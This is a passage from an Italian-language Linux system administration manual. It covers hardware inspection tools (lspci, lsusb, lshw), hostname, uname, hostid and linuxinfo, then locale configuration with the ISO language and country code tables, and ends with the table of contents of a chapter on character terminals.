        Capabilities: <available only to root>

00:07.3 Host bridge: VIA Technologies, Inc. VT82C596 Power Management (rev 30)
        Flags: medium devsel

00:11.0 Ethernet controller: VIA Technologies, Inc. VT6102 [Rhine-II] (rev 42)
        Subsystem: D-Link System Inc DFE-530TX rev A
        Flags: bus master, medium devsel, latency 32, IRQ 11
        I/O ports at d800 [size=256]
        Memory at d9000000 (32-bit, non-prefetchable) [size=256]
        Expansion ROM at <unassigned> [disabled] [size=64K]
        Capabilities: <available only to root>

00:12.0 VGA compatible controller: S3 Inc. ViRGE/DX or /GX ↩
↪(rev 01) (prog-if 00 [VGA])
        Subsystem: S3 Inc. ViRGE/DX
        Flags: bus master, medium devsel, latency 32, IRQ 9
        Memory at d4000000 (32-bit, non-prefetchable) [size=64M]
        Expansion ROM at <unassigned> [disabled] [size=64K]

00:13.0 Multimedia audio controller: Creative Labs SB Live! EMU10k1 (rev 08)
        Subsystem: Creative Labs CT4832 SBLive! Value
        Flags: bus master, medium devsel, latency 32, IRQ 5
        I/O ports at dc00 [size=32]
```

```
        Capabilities: <available only to root>

00:13.1 Input device controller: Creative Labs SB Live! MIDI/Game Port (rev 08)
        Subsystem: Creative Labs Gameport Joystick
        Flags: bus master, medium devsel, latency 32
        I/O ports at e000 [size=8]
        Capabilities: <available only to root>

00:14.0 SCSI storage controller: Adaptec AIC-7861 (rev 01)
        Flags: bus master, medium devsel, latency 32, IRQ 10
        I/O ports at e400 [disabled] [size=256]
        Memory at d9001000 (32-bit, non-prefetchable) [size=4K]
        Expansion ROM at <unassigned> [disabled] [size=64K]
```

13.3 Lsusb

Lsusb[3] è un programma che fa parte del pacchetto USButils, con lo scopo di elencare i dispositivi USB presenti. Si può usare con delle opzioni, in mancanza delle quali mostra l'elenco completo dei componenti:

```
lsusb [opzioni]
```

Ecco come potrebbe presentarsi l'elenco che si ottiene da questo programma:

$ **lsusb** [*Invio*]

```
Bus 001 Device 003: ID 067b:2517 Prolific Technology, Inc. ↩
↪Flash Disk Mass Storage Device
Bus 001 Device 002: ID 067b:2515 Prolific Technology, Inc. ↩
↪Flash Disk Embedded Hub
Bus 001 Device 001: ID 0000:0000
Bus 002 Device 001: ID 0000:0000
```

Tabella 13.9. Alcune opzioni.

Sintassi	Descrizione
`-v` `--verbose`	Richiede la visualizzazione di maggiori informazioni.
`-t`	Richiede di mostrare la gerarchia tra i componenti USB in forma di albero.

Viene mostrato un esempio in cui si mette a confronto l'uso normale di Lsusb con l'aggiunta successiva dell'opzione '**-t**':

$ **lsusb** [*Invio*]

```
Bus 001 Device 001: ID 0000:0000
Bus 003 Device 001: ID 0000:0000
Bus 002 Device 003: ID 04cb:0128 Fuji Photo Film Co., Ltd
Bus 002 Device 001: ID 0000:0000
```

$ **lsusb -t** [*Invio*]

```
Bus#  3
`-Dev#   1 Vendor 0x0000 Product 0x0000
Bus#  2
`-Dev#   1 Vendor 0x0000 Product 0x0000
  `-Dev#   3 Vendor 0x04cb Product 0x0128
Bus#  1
`-Dev#   1 Vendor 0x0000 Product 0x0000
```

Eventualmente, per approfondire l'uso del programma si può leggere la pagina di manuale *lsusb(8)*.

13.4 Lshw

Lshw[4] è un programma in grado di scandire ed elencare tutti i dispositivi esistenti. Attraverso le opzioni della riga di comando è possibile modificare il modo in cui queste informazioni vengono mostrate; altrimenti non c'è bisogno di specificare alcunché:

lshw [*opzioni*]

Ecco come potrebbe presentarsi l'elenco che si ottiene da questo programma se avviato dall'utente '**root**':

lshw [*Invio*]

```
nanohost
    description: Computer
    product: VT82C692BX
    vendor: VIA Technologies, Inc.
    capabilities: smbios-2.2 dmi-2.2
  *-core
       description: Motherboard
       product: 693A-596B-977EF
       physical id: 0
     *-firmware
          description: BIOS
          vendor: Award Software International, Inc.
          physical id: 0
          version: 6.00 PG (09/27/2000)
          size: 128KB
          capacity: 192KB
```

```
          capabilities: isa pci pnp apm upgrade shadowing escd cdboot ↩
↪bootselect socketedrom edd int13floppy360 int13floppy1200 int13floppy720 ↩
↪int13floppy2880 int5printscreen int9keyboard int14serial ↩
↪int17printer int10video acpi usb agp ls120boot zipboot biosbootspecification
     *-cpu
          description: CPU
          product: Celeron (Coppermine)
          vendor: Intel Corp.
          physical id: 4
          version: 6.8.6
          slot: Socket 370
          size: 766MHz
          clock: 66MHz
          capabilities: fpu fpu_exception wp vme de pse tsc msr pae ↩
↪mce cx8 sep mtrr pge mca cmov pat pse36 mmx fxsr sse
     …
     …
     …
   *-network:5
        description: Ethernet controller
        physical id: 6
        logical name: eth0
        serial: 00:50:ba:71:d9:c1
        capabilities: mii autonegotiation 100bt-fd 100bt 10bt-fd 10bt ethernet
        configuration: autonegociated=100bt broadcast=yes ↩
↪driver=via-rhine driverversion=1.1.20-2.6 duplex=full ↩
↪ip=172.21.1.1 link=yes multicast=yes
```

Si osservi che la precisione e il dettaglio delle informazioni si riduce se usato da un utente comune, senza privilegi.

Tabella 13.13. Alcune opzioni.

Sintassi	Descrizione
`-businfo`	Mostra le informazioni, in forma tabellare, partendo dalle coordinate del bus.
`-C` ***nome_classe*** `-class` ***nome_classe***	Mostra le informazioni riferite solo alla classe indicata. I nomi stabiliti per la classi sono quelli che si vedono, per esempio, utilizzando l'opzione '**`-businfo`**'.

Segue la descrizione di alcuni esempi.

- `$` **`lshw -businfo`** [*Invio*]

```
Bus info      Device     Class        Description
==============================================
                         system       Computer
                         bus          Motherboard
                         memory       System memory
cpu@0                    processor    AMD Sempron(tm) 2800+
                         memory       L1 cache
                         memory       L2 cache
```

```
pci@00:00.0              bridge     746 Host
pci@00:01.0              bridge     SG86C202
…
ide@0        ide0        bus        IDE Channel 0
ide@0.0      /dev/hda    disk       Maxtor 6Y120P0
…
usb@2        usb2        bus        OHCI Host Controller
pci@00:03.2              bus        USB 2.0 Controller
usb@1        usb1        bus        EHCI Host Controller
pci@00:04.0  eth0        network    SiS900 PCI Fast Ethernet
…
```

• $ **lshw -businfo -class network** [*Invio*]

```
Bus info     Device      Class      Description
==============================================
pci@00:04.0  eth0        network    SiS900 PCI Fast Ethernet
             plip0       network    Ethernet interface
             dummy0      network    Ethernet interface
```

Per maggiori informazioni sull'uso del programma conviene leggere la pagina di manuale *lshw(8)*.

13.5 Definizione del nome del sistema

Nella tradizione dei sistemi Unix, il sistema deve avere un nome. Questo nome tende a confondersi con quello attribuito all'indirizzo dell'interfaccia di rete, se questa esiste; per la precisione si tratta della prima parte, senza il dominio della rete a cui si connette. Tra le altre cose, questo fatto è poi anche motivo di confusione, nel momento in cui si comprende che ci possono essere diverse interfacce di rete, oppure ci possono essere interfacce dinamiche come quelle riferite alle connessioni PPP.

Per un principiante, questa premessa può risultare incomprensibile. In effetti, la gestione della rete viene affrontata in un altro volume, però rimane il fatto che il nome del sistema si attribuisce indipendentemente dalla connessione o meno a una rete, senza nemmeno che ci debba essere necessariamente un'armonizzazione tra questo nome e i nomi utilizzati nell'ambito della rete.

Il nome del sistema si attribuisce con il comando '**hostname**' e generalmente si annota anche all'interno della variabile di ambiente ***HOSTNAME***. L'utilizzo di '**hostname**'[5] è molto semplice:

```
hostname [nome]
```

In pratica, se non si indicano argomenti, si ottiene l'emissione del nome attuale; al contrario, se si indica un argomento, quello viene memorizzato come il nome del sistema.

Come si può intuire, la lettura del nome è accessibile a tutti gli utenti, mentre l'impostazione del nome è consentita solo all'utente '**root**'.

In generale, l'impostazione di questa definizione è compito della procedura di inizializzazione del sistema, con la quale si dovrebbe definire coerentemente anche la variabile di ambiente ***HOSTNAME***, in modo che contenga lo stesso nome.

In alcuni sistemi, si utilizza il file '`/etc/hostname`' per annotare questo nome, in modo che venga poi letto e utilizzato per la configurazione all'atto dell'avvio del sistema stesso.

13.6 Altre caratteristiche identificative del sistema

Oltre al nome, un sistema dispone anche di altre informazioni identificative. In particolare si tratta del tipo di architettura hardware, il nome del kernel e la sua versione. Queste informazioni si leggono generalmente attraverso il programma '**`uname`**':[6]

```
uname [opzioni]
```

Il programma '**`uname`**', usato senza argomenti, fornisce il nome del kernel, mentre con altri argomenti si possono ottenere informazioni differenti. La tabella 13.16 riepiloga brevemente le opzioni relative.

Tabella 13.16. Opzioni di '**`uname`**'.

Opzione	Descrizione
`-a` `--all`	Mostra tutte le informazioni disponibili.
`-m` `--machine`	Mostra il nome dell'architettura.
`-n` `--nodename`	Mostra il nome dell'elaboratore.
`-o` `--operating-system`	Mostra il nome del sistema operativo.
`-r` `--kernel-release`	Mostra la versione del sistema operativo.
`-v` `--kernel-version`	Mostra l'edizione del kernel, nell'ambito della versione riportata dall'opzione '**`-r`**'.
`-s` `--kernel-name`	Mostra il nome del kernel.

Si osservi che l'opzione '**`-n`**' serve a visualizzare lo stesso nome che si ottiene e si imposta con '**`hostname`**'.

13.7 Numero di serie

Teoricamente, attraverso il programma '**`hostid`**'[7] dovrebbe essere possibile ottenere un numero univoco di identificazione dell'elaboratore, determinandolo in base ai componenti fisici che questo contiene (di solito il BIOS):

```
hostid
```

A parte le opzioni minime delle estensioni GNU ('**`--help`**' e '**`--version`**'), questo programma non prevede nulla di standard. Purtroppo, è molto probabile che a elaboratori identici venga attribuito lo stesso numero, rendendo questo programma perfettamente inutile:

$ **`hostid`** [*Invio*]

```
7f0100
```

13.8 LinuxInfo

LinuxInfo [8] è un programma che si comporta in modo simile a '**`uname`**', fornendo però informazioni specifiche di un sistema GNU/Linux:

```
linuxinfo [opzioni]
```

Utilizzando '**`linuxinfo`**' senza argomenti, si ottiene un risultato simile a quello dell'esempio seguente:

$ **`linuxinfo`** [*Invio*]

```
Linux nanohost 2.6.7 #1 Fri Aug 13 18:28:48 CEST 2004
One Intel Unknown 768MHz processor, 1511.42 total bogomips, 384M RAM
System library 2.3.2
```

[1] **Procinfo** GNU GPL

[2] **Linux PCI utilities** GNU GPL

[3] **USButils** GNU GPL

[4] **Lshw** GNU GPL

[5] **GNU core utilities** GNU GPL

[6] **GNU core utilities** GNU GPL

[7] **GNU core utilities** GNU GPL

[8] **LinuxInfo** GNU GPL e GNU LGPL

Capitolo 14

Convenzioni nazionali

14.1 Sigle identificative delle caratteristiche locali 557
14.2 Preparazione delle localizzazioni disponibili 558
14.3 Configurazione delle localizzazioni nelle distribuzioni Debian 559

`dpkg-reconfigure` 559 `locale` 558 `localedef` 558 `locale-gen` 559

L'***internazionalizzazione*** è l'azione con cui si realizza o si modifica un programma, in modo che sia in grado di funzionare utilizzando convenzioni nazionali diverse (principalmente la lingua dei messaggi che emette e il tipo di codifica usata). Il termine inglese a cui si fa riferimento è *internationalization* e si abbrevia convenzionalmente con la sigla «i18n», perché tra la lettera «i» e la lettera «n» di questa parola ci sono 18 lettere.

La ***localizzazione*** è la configurazione attraverso la quale si fa in modo che un programma determinato si adatti a funzionare secondo le particolarità linguistico-nazionali locali. Il termine inglese a cui si fa riferimento è *localization* e si abbrevia convenzionalmente con la sigla «l10n», perché tra la lettera «l» e la lettera «n» di questa parola ci sono 10 lettere.

I programmi accedono alle funzionalità relative alla localizzazione per mezzo di librerie. Nei sistemi GNU si tratta delle librerie C (GNU C Library). [1]

Questo capitolo mostra solo come abilitare la gestione delle impostazioni locali desiderate nel proprio sistema; per la selezione dell'adattamento locale preferito di ogni utente, si interviene all'interno di variabili di ambiente: ***LANG*** e ***LC_***, come descritto nella sezione 18.11.

14.1 Sigle identificative delle caratteristiche locali

Per consentire ai programmi di identificare la richiesta di adattarsi a delle caratteristiche locali, si usa una definizione in forma di stringa, con una sintassi particolare, che generalmente corrisponde a quella seguente:

linguaggio [***_territorio*** [***.insieme_di_caratteri***]]

Il linguaggio viene espresso da una sigla di due sole lettere minuscole, secondo lo standard ISO 639 (tabella 14.4); il territorio viene espresso da una sigla di due sole lettere maiuscole, secondo lo standard ISO 3166 (tabella 14.5); l'insieme di caratteri è una sigla numerica che esprime lo standard ISO corrispondente.

Per esempio, '**`it_CH.ISO-8859-1`**' identifica la lingua italiana riferita al territorio svizzero, con un insieme di caratteri ISO 8859-1.

Come si vede dal modello sintattico, le informazioni sulla destra possono essere omesse, ma in tal caso vengono determinate in modo predefinito.

Una variante molto comune di questa definizione è quella che riguarda i paesi che utilizzano l'Euro come valuta. In questi casi, può succedere di vedere notazioni del tipo:

```
it_IT@euro
```

Questa notazione è praticamente equivalente alla dichiarazione esplicita dell'insieme di caratteri. Questa cambia, rispetto al valore predefinito, per poter disporre di un simbolo necessario a rappresentare la valuta:

```
it_IT.ISO-8859-15
```

Con l'introduzione dell'insieme di caratteri universale (ISO 10646) e della codifica UTF-8, l'utilizzo di codifiche del tipo ISO 8859-***n*** è superato. L'esempio seguente si riferisce alla configurazione ottimale per la lingua italiana, per l'utilizzo dell'insieme di caratteri universale:

```
it_IT.UTF-8
```

14.2 Preparazione delle localizzazioni disponibili

Per poter configurare i programmi in modo da adeguarsi alle caratteristiche locali, è necessario che le definizioni necessarie siano disponibili. Si può verificare con il comando '**locale**' la disponibilità effettiva:

locale -a [*Invio*]

Se quello che si ottiene è solo l'elenco seguente, significa che in pratica non sono disponibili delle varianti locali diverse dalla lingua inglese pura e semplice:

```
C
POSIX
```

I programmi che sfruttano il meccanismo di localizzazione, si avvalgono della funzione ***locale()***, descritta dalla pagina di manuale *locale(7)*.

Le informazioni relative alla localizzazione sono divise in due parti: un file principale e una mappa per la traduzione di nomi simbolici di caratteri nella codifica effettiva da utilizzare. Questi file si trovano generalmente nelle directory '/usr/share/i18n/', ma per poter utilizzare le informazioni che contengono, si devono compilare i file in un formato binario; poi, questi file si collocano presumibilmente a partire dalla directory '/usr/lib/locales/'. Pertanto, se anche sono disponibili le definizioni locali, possono mancare i file che poi servono alla funzione ***locale()***; l'elenco che si ottiene da '**locale -a**' serve a comprendere cosa la funzione ***locale()*** è in grado di gestire.

Supponendo di voler compilare le definizioni riferite al modello di localizzazione corrispondente a '**it_IT.UTF-8**', occorre fare riferimento ai file '/usr/share/i18n/locales/it_IT' e '/usr/share/i18n/charmaps/UTF-8' (se questi file sono compressi, appare probabilmente l'estensione '.gz', ma per usarli con '**localedef**' vanno prima ripristinati alle loro condizioni normali). I file che vengono generati dalla compilazione si inseriscono presumibilmente nella directory '/usr/lib/locale/it_IT/', che deve essere creata per l'occasione. In pratica si procede come nell'esempio seguente, attraverso il programma '**localedef**':

mkdir /usr/lib/locale/it_IT [*Invio*]

```
# localedef -i /usr/share/i18n/locales/it_IT ←
↪         -f /usr/share/i18n/locales/charmaps/UTF-8 ←
↪            /usr/lib/locale/it_IT [Invio]
```

14.3 Configurazione delle localizzazioni nelle distribuzioni Debian

Le distribuzioni GNU Debian offrono la gestione della localizzazione attraverso un pacchetto apposito, con cui è possibile configurare quali definizioni locali gestire nel file '`/etc/locale.gen`'.

Una volta aggiornato questo file, è sufficiente avviare il programma '**`locale-gen`**' per ottenere la ricompilazione delle definizioni locali desiderate:

```
# locale-gen [Invio]
```

Generalmente, il file '`/etc/locale.gen`' viene creato da un altro programma interattivo, senza bisogno di interventi manuali, che poi si occupa anche di avviare '**`locale-gen`**'; precisamente si tratta del comando: '**`dpkg-reconfigure locales`**'.

```
# dpkg-reconfigure locales [Invio]
```

Figura 14.2. Aspetto del programma di configurazione delle definizioni locali che si intendono gestire nel sistema.

```
.------------------------- Configuring Locales ---------------------------.
| You can choose locales to be generated by selecting locales you want.   |
| Selected locales will be saved to '/etc/locale.gen' file. You can also  |
| manually edit this file. You need to run 'locale-gen' after edit the    |
| file.                                                                   |
|                                                                         |
| Select locales to be generated.                                         |
|                                                                         |
|    [*] id_ID ISO-8859-1                                           *     |
|    [*] is_IS ISO-8859-1                                           *     |
|    [*] it_CH ISO-8859-1                                           *     |
|    [*] it_IT ISO-8859-1                                           *     |
|    [*] it_IT.ISO-8859-1 ISO-8859-1                                #     |
|    [*] it_IT.UTF-8 UTF-8                                          *     |
|    [*] it_IT@euro ISO-8859-15                                     *     |
|    [*] iw_IL ISO-8859-8                                           *     |
|                                                                         |
|                                                                         |
|                              <Ok>                                       |
|                                                                         |
'-------------------------------------------------------------------------'
```

A fianco del file '`/etc/locale.gen`' è possibile trovare anche '`/etc/locale.alias`', che associa delle denominazioni più semplici, o comunque alternative, a quelle formali standard. Per esempio, osservando la direttiva seguente, si comprende che sarebbe indifferente usare la sigla '**`italian`**' oppure '**`it_IT.ISO-8859-1`**'.

```
...
italian         it_IT.ISO-8859-1
...
```

Se possibile è meglio utilizzare soltanto configurazioni locali che prevedono l'uso dell'insieme di caratteri universale; pertanto, sempre così:

linguaggio_territorio.`UTF-8`

Tabella 14.4. Sigle che esprimono un linguaggio, secondo lo standard ISO 639.

aa	Afar	ab	Abkhazian	af	Afrikaans
am	Amharic	ar	Arabic	as	Assamese
ay	Aymara	az	Azerbaijani	ba	Bashkir
be	Byelorussian	bg	Bulgarian	bh	Bihari
bi	Bislama	bn	Bengali; Bangla	bo	Tibetan
br	Breton	ca	Catalan	co	Corsican
cs	Czech	cy	Welsh	da	Danish
de	German	dz	Bhutani	el	Greek
en	English	eo	Esperanto	es	Spanish
et	Estonian	eu	Basque	fa	Persian
fi	Finnish	fj	Fiji	fo	Faroese
fr	French	fy	Frisian	ga	Irish
gd	Scots Gaelic	gl	Galician	gn	Guarani
gu	Gujarati	ha	Hausa	he	Hebrew (iw)
hi	Hindi	hr	Croatian	hu	Hungarian
hy	Armenian	ia	Interlingua	id	Indonesian (in)
ie	Interlingue	ik	Inupiak	is	Icelandic
it	Italian	iu	Inuktitut	ja	Japanese
jw	Javanese	ka	Georgian	kk	Kazakh
kl	Greenlandic	km	Cambodian	kn	Kannada
ko	Korean	ks	Kashmiri	ku	Kurdish
ky	Kirghiz	la	Latin	ln	Lingala
lo	Laothian	lt	Lithuanian	lv	Latvian, Lettish
mg	Malagasy	mi	Maori	mk	Macedonian
ml	Malayalam	mn	Mongolian	mo	Moldavian
mr	Marathi	ms	Malay	mt	Maltese
my	Burmese	na	Nauru	ne	Nepali
nl	Dutch	no	Norwegian	oc	Occitan
om	(Afan) Oromo	or	Oriya	pa	Punjabi
pl	Polish	ps	Pashto, Pushto	pt	Portuguese
qu	Quechua	rm	Rhaeto-Romance	rn	Kirundi
ro	Romanian	ru	Russian	rw	Kinyarwanda
sa	Sanskrit	sd	Sindhi	sg	Sangro
sh	Serbo-Croatian	si	Sinhalese	sk	Slovak
sl	Slovenian	sm	Samoan	sn	Shona
so	Somali	sq	Albanian	sr	Serbian
ss	Siswati	st	Sesotho	su	Sundanese
sv	Swedish	sw	Swahili	ta	Tamil
te	Telugu	tg	Tajik	th	Thai
ti	Tigrinya	tk	Turkmen	tl	Tagalog
tn	Setswana	to	Tonga	tr	Turkish
ts	Tsonga	tt	Tatar	tw	Twi
ug	Uighur	uk	Ukrainian	ur	Urdu
uz	Uzbek	vi	Vietnamese	vo	Volapuk
wo	Wolof	xh	Xhosa	yi	Yiddish (ji)
yo	Yoruba	za	Zhuang	zh	Chinese
zu	Zulu				

Tabella 14.5. Sigle che esprimono una nazione, secondo lo standard ISO 3166, a due o a tre lettere. Maggiori dettagli sullo standard ISO 3166 sono accessibili presso ⟨*http://www.ripe.net/info/resource-admin/rir-areas.html* ⟩.

Territorio	Si-gla	Sigla	Territorio	Si-gla	Sigla
AFGHANISTAN	AF	AFG	ÅLAND ISLANDS	AX	ALA
ALBANIA	AL	ALB	ALGERIA	DZ	DZA
AMERICAN SAMOA	AS	ASM	ANDORRA	AD	AND
ANGOLA	AO	AGO	ANGUILLA	AI	AIA
ANTARCTICA	AQ	ATA	ANTIGUA AND BARBUDA	AG	ATG
ARGENTINA	AR	ARG	ARMENIA	AM	ARM
ARUBA	AW	ABW	AUSTRALIA	AU	AUS
AUSTRIA	AT	AUT	AZERBAIJAN	AZ	AZE
BAHAMAS	BS	BHS	BAHRAIN	BH	BHR
BANGLADESH	BD	BGD	BARBADOS	BB	BRB
BELARUS	BY	BLR	BELGIUM	BE	BEL
BELIZE	BZ	BLZ	BENIN	BJ	BEN
BERMUDA	BM	BMU	BHUTAN	BT	BTN
BOLIVIA	BO	BOL	BOSNIA AND HERZEGOWINA	BA	BIH
BOTSWANA	BW	BWA	BOUVET ISLAND	BV	BVT
BRAZIL	BR	BRA	BRITISH INDIAN OCEAN TERRITORY	IO	IOT
BRUNEI DARUSSALAM	BN	BRN	BULGARIA	BG	BGR
BURKINA FASO	BF	BFA	BURUNDI	BI	BDI
CAMBODIA	KH	KHM	CAMEROON	CM	CMR
CANADA	CA	CAN	CAPE VERDE	CV	CPV
CAYMAN ISLANDS	KY	CYM	CENTRAL AFRICAN REPUBLIC	CF	CAF
CHAD	TD	TCD	CHILE	CL	CHL
CHINA	CN	CHN	CHRISTMAS ISLAND	CX	CXR
COCOS (KEELING) ISLANDS	CC	CCK	COLOMBIA	CO	COL
COMOROS	KM	COM	CONGO	CG	COG
CONGO, THE DEMOCRATIC REPUBLIC OF THE	CD	COD	COOK ISLANDS	CK	COK
COSTA RICA	CR	CRI	COTE D'IVOIRE	CI	CIV
CROATIA (Hrvatska)	HR	HRV	CUBA	CU	CUB
CYPRUS	CY	CYP	CZECH REPUBLIC	CZ	CZE
DENMARK	DK	DNK	DJIBOUTI	DJ	DJI
DOMINICA	DM	DMA	DOMINICAN REPUBLIC	DO	DOM
EAST TIMOR	TL	TLS	ECUADOR	EC	ECU
EGYPT	EG	EGY	EL SALVADOR	SV	SLV
EQUATORIAL GUINEA	GQ	GNQ	ERITREA	ER	ERI
ESTONIA	EE	EST	ETHIOPIA	ET	ETH
FALKLAND ISLANDS (MALVINAS)	FK	FLK	FAROE ISLANDS	FO	FRO
FIJI	FJ	FJI	FINLAND	FI	FIN
FRANCE	FR	FRA	FRENCH GUIANA	GF	GUF
FRENCH POLYNESIA	PF	PYF	FRENCH SOUTHERN TERRITORIES	TF	ATF
GABON	GA	GAB	GAMBIA	GM	GMB
GEORGIA	GE	GEO	GERMANY	DE	DEU
GHANA	GH	GHA	GIBRALTAR	GI	GIB
GREECE	GR	GRC	GREENLAND	GL	GRL
GRENADA	GD	GRD	GUADELOUPE	GP	GLP
GUAM	GU	GUM	GUATEMALA	GT	GTM
GUINEA	GN	GIN	GUINEA-BISSAU	GW	GNB
GUYANA	GY	GUY	HAITI	HT	HTI

Territorio	Sigla	Sigla	Territorio	Sigla	Sigla
HEARD AND MC DONALD ISLANDS	HM	HMD	HOLY SEE (VATICAN CITY STATE)	VA	VAT
HONDURAS	HN	HND	HONG KONG	HK	HKG
HUNGARY	HU	HUN	ICELAND	IS	ISL
INDIA	IN	IND	INDONESIA	ID	IDN
IRAN (ISLAMIC REPUBLIC OF)	IR	IRN	IRAQ	IQ	IRQ
IRELAND	IE	IRL	ISRAEL	IL	ISR
ITALY	IT	ITA	JAMAICA	JM	JAM
JAPAN	JP	JPN	JORDAN	JO	JOR
KAZAKHSTAN	KZ	KAZ	KENYA	KE	KEN
KIRIBATI	KI	KIR	KOREA, DEMOCRATIC PEOPLE'S REPUBLIC OF	KP	PRK
KOREA, REPUBLIC OF	KR	KOR	KUWAIT	KW	KWT
KYRGYZSTAN	KG	KGZ	LAO PEOPLE'S DEMOCRATIC REPUBLIC	LA	LAO
LATVIA	LV	LVA	LEBANON	LB	LBN
LESOTHO	LS	LSO	LIBERIA	LR	LBR
LIBYAN ARAB JAMAHIRIYA	LY	LBY	LIECHTENSTEIN	LI	LIE
LITHUANIA	LT	LTU	LUXEMBOURG	LU	LUX
MACAO	MO	MAC	MACEDONIA, THE FORMER YUGOSLAV REPUBLIC OF	MK	MKD
MADAGASCAR	MG	MDG	MALAWI	MW	MWI
MALAYSIA	MY	MYS	MALDIVES	MV	MDV
MALI	ML	MLI	MALTA	MT	MLT
MARSHALL ISLANDS	MH	MHL	MARTINIQUE	MQ	MTQ
MAURITANIA	MR	MRT	MAURITIUS	MU	MUS
MAYOTTE	YT	MYT	MEXICO	MX	MEX
MICRONESIA, FEDERATED STATES OF	FM	FSM	MOLDOVA, REPUBLIC OF	MD	MDA
MONACO	MC	MCO	MONGOLIA	MN	MNG
MONTSERRAT	MS	MSR	MOROCCO	MA	MAR
MOZAMBIQUE	MZ	MOZ	MYANMAR	MM	MMR
NAMIBIA	NA	NAM	NAURU	NR	NRU
NEPAL	NP	NPL	NETHERLANDS	NL	NLD
NETHERLANDS ANTILLES	AN	ANT	NEW CALEDONIA	NC	NCL
NEW ZEALAND	NZ	NZL	NICARAGUA	NI	NIC
NIGER	NE	NER	NIGERIA	NG	NGA
NIUE	NU	NIU	NORFOLK ISLAND	NF	NFK
NORTHERN MARIANA ISLANDS	MP	MNP	NORWAY	NO	NOR
OMAN	OM	OMN	PAKISTAN	PK	PAK
PALAU	PW	PLW	PALESTINIAN TERRITORY, OCCUPIED	PS	PSE
PANAMA	PA	PAN	PAPUA NEW GUINEA	PG	PNG
PARAGUAY	PY	PRY	PERU	PE	PER
PHILIPPINES	PH	PHL	PITCAIRN	PN	PCN
POLAND	PL	POL	PORTUGAL	PT	PRT
PUERTO RICO	PR	PRI	QATAR	QA	QAT
REUNION	RE	REU	ROMANIA	RO	ROU
RUSSIAN FEDERATION	RU	RUS	RWANDA	RW	RWA
SAINT KITTS AND NEVIS	KN	KNA	SAINT LUCIA	LC	LCA
SAINT VINCENT AND THE GRENADINES	VC	VCT	SAMOA	WS	WSM
SAN MARINO	SM	SMR	SAO TOME AND PRINCIPE	ST	STP
SAUDI ARABIA	SA	SAU	SENEGAL	SN	SEN
SERBIA AND MONTENEGRO	CS	SCG	SEYCHELLES	SC	SYC

Territorio	Sigla	Sigla	Territorio	Sigla	Sigla
SIERRA LEONE	SL	SLE	SINGAPORE	SG	SGP
SLOVAKIA (Slovak Republic)	SK	SVK	SLOVENIA	SI	SVN
SOLOMON ISLANDS	SB	SLB	SOMALIA	SO	SOM
SOUTH AFRICA	ZA	ZAF	SOUTH GEORGIA AND THE SOUTH SANDWICH ISLANDS	GS	SGS
SPAIN	ES	ESP	SRI LANKA	LK	LKA
ST. HELENA	SH	SHN	ST. PIERRE AND MIQUELON	PM	SPM
SUDAN	SD	SDN	SURINAME	SR	SUR
SVALBARD AND JAN MAYEN ISLANDS	SJ	SJM	SWAZILAND	SZ	SWZ
SWEDEN	SE	SWE	SWITZERLAND	CH	CHE
SYRIAN ARAB REPUBLIC	SY	SYR	TAIWAN, PROVINCE OF CHINA	TW	TWN
TAJIKISTAN	TJ	TJK	TANZANIA, UNITED REPUBLIC OF	TZ	TZA
THAILAND	TH	THA	TOGO	TG	TGO
TOKELAU	TK	TKL	TONGA	TO	TON
TRINIDAD AND TOBAGO	TT	TTO	TUNISIA	TN	TUN
TURKEY	TR	TUR	TURKMENISTAN	TM	TKM
TURKS AND CAICOS ISLANDS	TC	TCA	TUVALU	TV	TUV
UGANDA	UG	UGA	UKRAINE	UA	UKR
UNITED ARAB EMIRATES	AE	ARE	UNITED KINGDOM	GB	GBR
UNITED STATES	US	USA	UNITED STATES MINOR OUTLYING ISLANDS	UM	UMI
URUGUAY	UY	URY	UZBEKISTAN	UZ	UZB
VANUATU	VU	VUT	VENEZUELA	VE	VEN
VIET NAM	VN	VNM	VIRGIN ISLANDS (BRITISH)	VG	VGB
VIRGIN ISLANDS (U.S.)	VI	VIR	WALLIS AND FUTUNA ISLANDS	WF	WLF
WESTERN SAHARA	EH	ESH	YEMEN	YE	YEM
ZAMBIA	ZM	ZMB	ZIMBABWE	ZW	ZWE

Tabella 14.6. Conversione tra le unità britanniche (imperiali) più comuni.

Grandezza	Unità di misura	Equivalenza
Lunghezza	pollice (*inch*)	1 in = 25,4 mm
	piede (*foot*)	1 ft = 12 in = 304,8 mm
	iarda (*yard*)	1 yd = 3 ft = 914,4 mm
Massa	libbra (*pound*)	1 lb = 453,592 37 g
	oncia (*ounce*)	1 oz = 1/16 lb = 28,349 523 1 g
Volume	gallone (*gallon*) USA	1 gal_{USA} = 3,785 412 dm^3
	gallone (*gallon*) UK	1 gal_{UK} = 4,546 09 dm^3

[1] **GNU C Library** GNU LGPL e altre licenze in base alla porzione di codice

Capitolo 15

Terminali a caratteri

15.1 Introduzione alla tastiera 567

15.1.1 Funzionamento essenziale della macchina da scrivere tipica 568
15.1.2 Caratteri maiuscoli, minuscoli e altri simboli 569
15.1.3 Disposizione anatomica dei tasti 571
15.1.4 Mappa dei tasti 573
15.1.5 Fissamaiuscole 575
15.1.6 Avanzamento, arretramento e composizione 575
15.1.7 Tabulatore 577
15.1.8 Telescrivente 577
15.1.9 Mutazione della mappa italiana 583

15.2 Tastiera di un elaboratore 587

15.2.1 Livelli 589
15.2.2 Alfabeti non latini 589
15.2.3 Tasti morti e composizione 590
15.2.4 Inserimento numerico del codice di un simbolo 590
15.2.5 Alfabeti asiatici 590
15.2.6 Pittogrammi ISO 9995-7 591

15.3 Tastiera della console di un sistema GNU/Linux 592

15.3.1 Tastiera locale e tastiera remota 592
15.3.2 Console virtuali 592
15.3.3 Controllo della modalità di funzionamento della tastiera con «kbd_mode» 593
15.3.4 Controllo sullo stato della tastiera con «setleds» 594
15.3.5 Mappa della tastiera 595
15.3.6 Visualizzazione dei codici dei tasti con «showkey» 596
15.3.7 Caricamento di una mappa con «loadkeys» 597
15.3.8 Analisi della configurazione attuale con «dumpkeys» 598

15.4 Personalizzazione della mappa della tastiera 601

15.4.1 Modificatori 602
15.4.2 Specificazione di mappa 603
15.4.3 Istruzione «keycode» 604
15.4.4 Funzionalità speciali 606

15.5 Approfondimento: tastiera italiana conforme a X 608

15.5.1 Codifica 609

15.5.2 Modificatori virtuali «control» e «meta» 609
15.5.3 Combinazioni numeriche 609
15.5.4 Accenti morti e composizione 610
15.5.5 Lettere accentate maiuscole 610
15.5.6 Barra spaziatrice 610
15.5.7 Tasti funzionali 610

15.6 Identificazione del terminali 625

15.7 Configurazione del terminale 626

15.7.1 Linea TTY 627
